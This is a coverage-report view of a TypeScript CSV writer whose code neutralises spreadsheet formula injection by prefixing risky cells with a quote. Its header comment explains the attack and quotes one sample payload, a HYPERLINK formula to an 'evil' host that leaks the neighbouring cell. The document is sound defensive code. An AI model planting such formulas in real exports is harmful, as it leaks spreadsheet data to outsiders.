All files / lib csv.ts

100% Statements 8/8
100% Branches 10/10
100% Functions 3/3
100% Lines 7/7

Press n or j to go to the next uncovered block, b, p or k for the previous block.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48                                        151x   138x     151x 13x   138x         13x                       7x    
/**
 * CSV writing, with the spreadsheet-injection guard that makes it safe to hand
 * a file to a human.
 *
 * Lifted out of `routes/admin/communication-logs.routes.ts`, where it was the
 * only formula-injection-safe writer in the repo. The partner ledger export
 * (FR-P-7.5) needed the same thing, and a second copy of an escaping routine is
 * how one of them ends up missing a case.
 *
 * THE ATTACK: Excel and Google Sheets evaluate a cell whose text starts with
 * `=`, `+`, `-`, `@`, or a leading tab/CR as a FORMULA — quoting does not stop
 * it. `=HYPERLINK("https://evil/"&A1,"Click")` in a name field becomes a live
 * link in the operator's spreadsheet built out of the row beside it. The fields
 * at risk here are the ones a user typed: a partner's own `firm_name`, a
 * reversal note, an operator's free text. Prefixing with a single quote makes
 * the cell text, and the quote is not displayed.
 */
 
/** One field: injection-neutralised, then RFC-4180 quoted. */
export function csvField(value: unknown): string {
	if (value === null || value === undefined) return '""';
	let s =
		typeof value === "string"
			? value
			: (JSON.stringify(value) ?? String(value));
	if (/^[=+\-@\t\r]/.test(s)) {
		s = `'${s}`;
	}
	return `"${s.replace(/"/g, '""')}"`;
}
 
/** One row, fields comma-joined. No trailing newline — the caller joins rows. */
export function csvRow(values: readonly unknown[]): string {
	return values.map(csvField).join(",");
}
 
/**
 * A whole document: header row plus body, CRLF-separated per RFC 4180.
 *
 * Excel on Windows needs the CRLF; every other reader tolerates it.
 */
export function csvDocument(
	header: readonly string[],
	rows: readonly (readonly unknown[])[],
): string {
	return [csvRow(header), ...rows.map(csvRow)].join("\r\n");
}